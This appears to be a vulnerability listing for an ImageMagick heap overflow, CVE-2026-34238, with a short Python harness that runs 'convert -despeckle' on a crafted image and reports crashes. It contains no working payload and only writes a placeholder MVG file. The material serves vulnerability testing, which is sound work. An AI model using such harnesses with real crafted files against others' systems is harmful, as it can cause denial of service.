CVE-2026-34238 ImageMagick堆缓冲区溢出漏洞

# Proof of Concept for CVE-2026-34238 # This script demonstrates triggering the vulnerability by processing a crafted image. # Note: A specific malicious file is required to trigger the heap overflow. import subprocess import os def trigger_vulnerability(image_path): try: # Invoke ImageMagick convert command with despeckle operation # This operation triggers the integer overflow on vulnerable 32-bit builds print(f"[*] Processing image: {image_path}") result = subprocess.run( ['convert', image_path, '-despeckle', 'output.png'], capture_output=True, text=True, timeout=5 ) if result.returncode != 0: print(f"[!] Process crashed with return code: {result.returncode}") print(f"[!] Error: {result.stderr}") else: print("[-] Image processed without crashing (patched or invalid payload)") except subprocess.TimeoutExpired: print("[!] Process timed out. Potential Denial of Service triggered.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Placeholder for the crafted malicious image file malicious_file = "exploit_cve_2026_34238.mvg" if os.path.exists(malicious_file): trigger_vulnerability(malicious_file) else: print(f"[!] File '{malicious_file}' not found. Please provide a valid PoC file.") print("[*] Creating a dummy MVG file for testing structure (not an exploit)...") with open(malicious_file, "w") as f: # This is just a structure placeholder, not the actual exploit payload f.write("push graphic-context\nviewbox 0 0 640 480\npop graphic-context") print(f"[*] Dummy file created. Re-run with actual exploit payload.")